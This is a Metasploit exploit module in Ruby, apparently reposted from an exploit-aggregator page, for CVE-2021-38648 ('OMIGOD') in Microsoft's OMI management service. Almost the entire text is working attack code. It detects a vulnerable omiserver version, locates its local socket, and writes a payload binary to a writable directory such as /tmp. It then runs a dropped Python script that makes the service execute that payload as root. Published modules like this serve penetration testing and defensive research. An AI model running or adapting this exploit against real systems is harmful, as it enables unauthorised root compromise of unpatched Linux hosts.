Share
## https://sploitus.com/exploit?id=PACKETSTORM:164925
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Post::Process  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze  
DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',  
'Description' => %q{  
By removing the authentication exchange, an attacker can issue requests to the local OMI management socket  
that will cause it to execute an operating system command as the root user. This vulnerability was patched in  
OMI version 1.6.8-1 (released September 8th 2021).  
},  
'References' => [  
['CVE', '2021-38648'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],  
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],  
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']  
],  
'Author' => [  
'Nir Ohfeld', # vulnerability discovery & research  
'Shir Tamari', # vulnerability discovery & research  
'Spencer McIntyre' # metasploit module  
],  
'DisclosureDate' => '2021-09-14',  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => { 'DisableNops' => true, 'Space' => 256 }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'AKA' => ['OMIGOD'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_advanced_options([  
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),  
OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])  
])  
end  
  
def check  
pid = pidof('omiserver').first  
return CheckCode::Safe('The omiserver process was not found.') if pid.nil?  
  
omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first  
omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)  
return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?  
  
vprint_status("Found #{omiserver_bin} running in PID: #{pid}")  
if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/  
version = Regexp.last_match(1)  
else  
return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')  
end  
  
return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')  
  
CheckCode::Appears("Version #{version} is affected.")  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
write_file path, data  
ensure  
register_file_for_cleanup(path)  
end  
  
def find_exec_program  
%w[python python3 python2].select(&method(:command_exists?)).first  
end  
  
def get_socket_path  
socket_path = datastore['SocketPath']  
return socket_path unless socket_path.blank?  
  
pid = pidof('omiserver').first  
fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?  
  
if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}  
socket_path = Regexp.last_match(1)  
else  
begin  
socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?  
rescue StandardError # rubocop:disable Lint/SuppressedException  
end  
end  
  
fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?  
  
vprint_status("Socket path: #{socket_path}")  
socket_path  
end  
  
def exploit  
python_binary = find_exec_program  
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary  
  
vprint_status("Using '#{python_binary}' to run the exploit")  
socket_path = get_socket_path  
path = datastore['WritableDir']  
python_script = rand_text_alphanumeric(5..10) + '.py'  
  
case target['Type']  
when :unix_cmd  
root_cmd = payload.encoded  
when :linux_dropper  
unless path.start_with?('/')  
# the command will be executed from a different working directory so use an absolute path  
fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')  
end  
  
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"  
if payload_path.length > 256  
# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the  
# command that is executed  
fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')  
end  
  
upload(payload_path, generate_payload_exe)  
cmd_exec("chmod +x '#{payload_path}'")  
root_cmd = payload_path  
end  
  
upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))  
cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"  
vprint_status("Running #{cmd}")  
output = cmd_exec(cmd)  
vprint_line(output) unless output.blank?  
end  
end